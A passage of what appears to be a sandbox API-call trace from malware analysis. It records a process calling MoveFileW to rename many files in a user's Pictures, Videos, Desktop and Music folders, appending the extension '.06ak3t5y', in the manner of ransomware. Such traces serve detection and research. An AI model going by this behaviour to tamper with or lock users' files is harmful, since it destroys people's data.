(lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\Kq18r\\7 Pi7vzW8.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\kq18r\\7 pi7vzw8.jpg"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\Kq18r\\7 Pi7vzW8.jpg.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\kq18r\\7 pi7vzw8.jpg.06ak3t5y")) returned 1 [0114.341] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x366cb60) returned 1 [0114.341] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x367b238) returned 1 [0114.341] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x388fd28) returned 1 [0114.342] CloseHandle (hObject=0x340) returned 1 [0114.343] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x100) returned 0x366cb60 [0114.343] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\Kq18r\\92 eOZAcyO.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\kq18r\\92 eozacyo.png"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\Kq18r\\92 eOZAcyO.png.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\kq18r\\92 eozacyo.png.06ak3t5y")) returned 1 [0114.344] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x366cb60) returned 1 [0114.344] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30a9fc0) returned 1 [0114.344] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x53eb3d0) returned 1 [0114.344] CloseHandle (hObject=0x4c8) returned 1 [0114.345] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xf4) returned 0x2099090 [0114.345] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\Kq18r\\OHuX.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\kq18r\\ohux.jpg"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\Kq18r\\OHuX.jpg.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\kq18r\\ohux.jpg.06ak3t5y")) returned 1 [0114.346] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2099090) returned 1 [0114.346] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x36a0d80) returned 1 [0114.346] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x53fe268) returned 1 [0114.346] CloseHandle (hObject=0x4cc) returned 1 [0114.348] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x132) returned 0x2086fa8 [0114.348] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\6M-Q9UlNp3XLi0Th9D.swf" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\6m-q9ulnp3xli0th9d.swf"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\6M-Q9UlNp3XLi0Th9D.swf.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\6m-q9ulnp3xli0th9d.swf.06ak3t5y")) returned 1 [0114.348] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0114.348] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2083080) returned 1 [0114.348] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x5408768) returned 1 [0114.349] CloseHandle (hObject=0x4d0) returned 1 [0114.350] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x128) returned 0x2086fa8 [0114.350] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\LHrw-Ofd5-AYP.swf" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\lhrw-ofd5-ayp.swf"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\LHrw-Ofd5-AYP.swf.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\lhrw-ofd5-ayp.swf.06ak3t5y")) returned 1 [0114.351] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0114.351] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3685540) returned 1 [0114.351] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x5418d58) returned 1 [0114.351] CloseHandle (hObject=0x4d4) returned 1 [0114.352] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x132) returned 0x2086fa8 [0114.352] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\Z-FMcKa2H6R85k8k26.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\z-fmcka2h6r85k8k26.avi"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\Z-FMcKa2H6R85k8k26.avi.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\z-fmcka2h6r85k8k26.avi.06ak3t5y")) returned 1 [0114.353] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0114.353] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2083140) returned 1 [0114.353] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x542bc90) returned 1 [0114.353] CloseHandle (hObject=0x4d8) returned 1 [0114.355] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x11c) returned 0x2086fa8 [0114.355] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\Z0VlEX5.mkv" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\z0vlex5.mkv"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\Z0VlEX5.mkv.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\z0vlex5.mkv.06ak3t5y")) returned 1 [0114.355] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0114.355] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x36895d0) returned 1 [0114.355] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x5442a48) returned 1 [0114.356] CloseHandle (hObject=0x4dc) returned 1 [0114.356] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x116) returned 0x2086fa8 [0114.356] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\ZdWuS5tcKVrW0\\1y gRV1.flv" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\zdwus5tckvrw0\\1y grv1.flv"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\ZdWuS5tcKVrW0\\1y gRV1.flv.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\zdwus5tckvrw0\\1y grv1.flv.06ak3t5y")) returned 1 [0114.357] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0114.357] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2080100) returned 1 [0114.357] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x39780a0) returned 1 [0114.359] CloseHandle (hObject=0x4e0) returned 1 [0114.360] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x118) returned 0x2086fa8 [0114.360] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\ZdWuS5tcKVrW0\\blTfBZec.mkv" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\zdwus5tckvrw0\\bltfbzec.mkv"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\ZdWuS5tcKVrW0\\blTfBZec.mkv.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\zdwus5tckvrw0\\bltfbzec.mkv.06ak3t5y")) returned 1 [0114.360] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0114.361] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3689678) returned 1 [0114.361] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x5459c10) returned 1 [0114.363] CloseHandle (hObject=0x4e4) returned 1 [0114.365] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x11a) returned 0x2086fa8 [0114.365] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\ZdWuS5tcKVrW0\\yBKT7h0xW.mkv" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\zdwus5tckvrw0\\ybkt7h0xw.mkv"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\ZdWuS5tcKVrW0\\yBKT7h0xW.mkv.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\zdwus5tckvrw0\\ybkt7h0xw.mkv.06ak3t5y")) returned 1 [0114.365] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0114.365] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3688028) returned 1 [0114.365] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x546a520) returned 1 [0114.367] CloseHandle (hObject=0x4e8) returned 1 [0114.369] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x13e) returned 0x2086fa8 [0114.369] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\LpHikdOe2SJQv\\6ma8iDLQL zg7Hta79d.pdf" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\lphikdoe2sjqv\\6ma8idlql zg7hta79d.pdf"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\LpHikdOe2SJQv\\6ma8iDLQL zg7Hta79d.pdf.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\lphikdoe2sjqv\\6ma8idlql zg7hta79d.pdf.06ak3t5y")) returned 1 [0114.370] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0114.370] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30cf620) returned 1 [0114.370] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x5475dc8) returned 1 [0114.370] CloseHandle (hObject=0x4ec) returned 1 [0114.372] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x13e) returned 0x2086fa8 [0114.372] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\LpHikdOe2SJQv\\jU2dwPcnnUwF8IYKsPS.flv" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\lphikdoe2sjqv\\ju2dwpcnnuwf8iyksps.flv"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\LpHikdOe2SJQv\\jU2dwPcnnUwF8IYKsPS.flv.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\lphikdoe2sjqv\\ju2dwpcnnuwf8iyksps.flv.06ak3t5y")) returned 1 [0114.372] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0114.372] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30cf6e8) returned 1 [0114.372] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x5482780) returned 1 [0114.372] CloseHandle (hObject=0x4f0) returned 1 [0114.373] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x138) returned 0x2086fa8 [0114.374] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\n 1idH_MUb\\A9kBx_I7_81ZL_WLd i.pps" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\n 1idh_mub\\a9kbx_i7_81zl_wld i.pps"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\n 1idH_MUb\\A9kBx_I7_81ZL_WLd i.pps.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\n 1idh_mub\\a9kbx_i7_81zl_wld i.pps.06ak3t5y")) returned 1 [0114.374] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0114.374] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30ce108) returned 1 [0114.374] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x5496268) returned 1 [0114.374] CloseHandle (hObject=0x4f4) returned 1 [0114.376] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x12a) returned 0x2086fa8 [0114.376] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\n 1idH_MUb\\MGLB3m 9Jo2-.mkv" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\n 1idh_mub\\mglb3m 9jo2-.mkv"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\n 1idH_MUb\\MGLB3m 9Jo2-.mkv.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\n 1idh_mub\\mglb3m 9jo2-.mkv.06ak3t5y")) returned 1 [0114.377] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0114.377] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3685488) returned 1 [0114.377] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x549d0d8) returned 1 [0114.377] CloseHandle (hObject=0x4f8) returned 1 [0114.378] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x124) returned 0x2086fa8 [0114.378] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\n 1idH_MUb\\nZ3da1n2c.bmp" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\n 1idh_mub\\nz3da1n2c.bmp"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\n 1idH_MUb\\nZ3da1n2c.bmp.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\n 1idh_mub\\nz3da1n2c.bmp.06ak3t5y")) returned 1 [0114.378] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0114.378] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3678cc8) returned 1 [0114.378] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x54b3608) returned 1 [0114.379] CloseHandle (hObject=0x4fc) returned 1 [0114.380] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x13a) returned 0x2086fa8 [0114.380] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\n 1idH_MUb\\XXYcwGNRGtoqH8xuWghR.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\n 1idh_mub\\xxycwgnrgtoqh8xuwghr.png"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\n 1idH_MUb\\XXYcwGNRGtoqH8xuWghR.png.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\n 1idh_mub\\xxycwgnrgtoqh8xuwghr.png.06ak3t5y")) returned 1 [0114.381] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0114.381] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30ce428) returned 1 [0114.381] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x54b7108) returned 1 [0114.381] CloseHandle (hObject=0x500) returned 1 [0114.382] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x12e) returned 0x2086fa8 [0114.382] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\YsmXBqSRct\\e8-6d21hKD5pBh.avi" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\ysmxbqsrct\\e8-6d21hkd5pbh.avi"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\YsmXBqSRct\\e8-6d21hKD5pBh.avi.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\ysmxbqsrct\\e8-6d21hkd5pbh.avi.06ak3t5y")) returned 1 [0114.383] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0114.383] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3686a18) returned 1 [0114.383] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x54ca398) returned 1 [0114.383] CloseHandle (hObject=0x504) returned 1 [0114.384] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x124) returned 0x2086fa8 [0114.384] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\YsmXBqSRct\\em6UqOfGB.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\ysmxbqsrct\\em6uqofgb.png"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\YsmXBqSRct\\em6UqOfGB.png.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\ysmxbqsrct\\em6uqofgb.png.06ak3t5y")) returned 1 [0114.385] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0114.385] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3678d78) returned 1 [0114.385] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x54d2210) returned 1 [0114.385] CloseHandle (hObject=0x508) returned 1 [0114.387] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x122) returned 0x2086fa8 [0114.387] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\YsmXBqSRct\\gdmTnOT2.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\ysmxbqsrct\\gdmtnot2.png"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\YsmXBqSRct\\gdmTnOT2.png.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\ysmxbqsrct\\gdmtnot2.png.06ak3t5y")) returned 1 [0114.388] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0114.388] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3678e28) returned 1 [0114.388] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x54e31a8) returned 1 [0114.391] CloseHandle (hObject=0x50c) returned 1 [0114.393] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x11e) returned 0x2086fa8 [0114.393] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\YsmXBqSRct\\KEzKWF.bmp" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\ysmxbqsrct\\kezkwf.bmp"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\YsmXBqSRct\\KEzKWF.bmp.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\ysmxbqsrct\\kezkwf.bmp.06ak3t5y")) returned 1 [0114.393] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0114.393] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3688370) returned 1 [0114.393] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x54f8c90) returned 1 [0114.394] CloseHandle (hObject=0x510) returned 1 [0114.395] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x13a) returned 0x2086fa8 [0114.395] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\YsmXBqSRct\\YX_kr6Pa1Y0lFMPITNrS.ppt" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\ysmxbqsrct\\yx_kr6pa1y0lfmpitnrs.ppt"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\YsmXBqSRct\\YX_kr6Pa1Y0lFMPITNrS.ppt.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\ysmxbqsrct\\yx_kr6pa1y0lfmpitnrs.ppt.06ak3t5y")) returned 1 [0114.396] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0114.396] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30ce040) returned 1 [0114.396] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x3979950) returned 1 [0114.398] CloseHandle (hObject=0x514) returned 1 [0114.400] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x13e) returned 0x2086fa8 [0114.400] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\Rqx5DrLsWGq0fuHce-F\\7kj_kwW8UDpe5\\Vyk4a7cn3j VpZp\\AiI-H4HZN5CE.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\rqx5drlswgq0fuhce-f\\7kj_kww8udpe5\\vyk4a7cn3j vpzp\\aii-h4hzn5ce.mp3"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\Rqx5DrLsWGq0fuHce-F\\7kj_kwW8UDpe5\\Vyk4a7cn3j VpZp\\AiI-H4HZN5CE.mp3.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\music\\rqx5drlswgq0fuhce-f\\7kj_kww8udpe5\\vyk4a7cn3j vpzp\\aii-h4hzn5ce.mp3.06ak3t5y")) returned 1 [0114.402] CloseHandle (hObject=0x518) returned 1 [0114.404] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x124) returned 0x2086fa8 [0114.404] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\IILnAi1f\\Nqowzc3Uew\\9gss2NRpiyC4-G.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\iilnai1f\\nqowzc3uew\\9gss2nrpiyc4-g.jpg"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\IILnAi1f\\Nqowzc3Uew\\9gss2NRpiyC4-G.jpg.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\iilnai1f\\nqowzc3uew\\9gss2nrpiyc4-g.jpg.06ak3t5y")) returned 1 [0114.405] CloseHandle (hObject=0x51c) returned 1 [0114.406] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x118) returned 0x2086fa8 [0114.406] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\IILnAi1f\\Nqowzc3Uew\\BPCAGXkC.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\iilnai1f\\nqowzc3uew\\bpcagxkc.bmp"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\IILnAi1f\\Nqowzc3Uew\\BPCAGXkC.bmp.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\iilnai1f\\nqowzc3uew\\bpcagxkc.bmp.06ak3t5y")) returned 1 [0114.407] CloseHandle (hObject=0x520) returned 1 [0114.408] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x122) returned 0x2086fa8 [0114.409] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\IILnAi1f\\Nqowzc3Uew\\pM_MM5qbJmirL.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\iilnai1f\\nqowzc3uew\\pm_mm5qbjmirl.gif"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\IILnAi1f\\Nqowzc3Uew\\pM_MM5qbJmirL.gif.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\iilnai1f\\nqowzc3uew\\pm_mm5qbjmirl.gif.06ak3t5y")) returned 1 [0114.409] CloseHandle (hObject=0x524) returned 1 [0114.411] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x12e) returned 0x2086fa8 [0114.411] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\Kq18r\\Jx8S eL50h-5\\55Q51_2mFoEYojiU_8BH.jpg" (normalized: 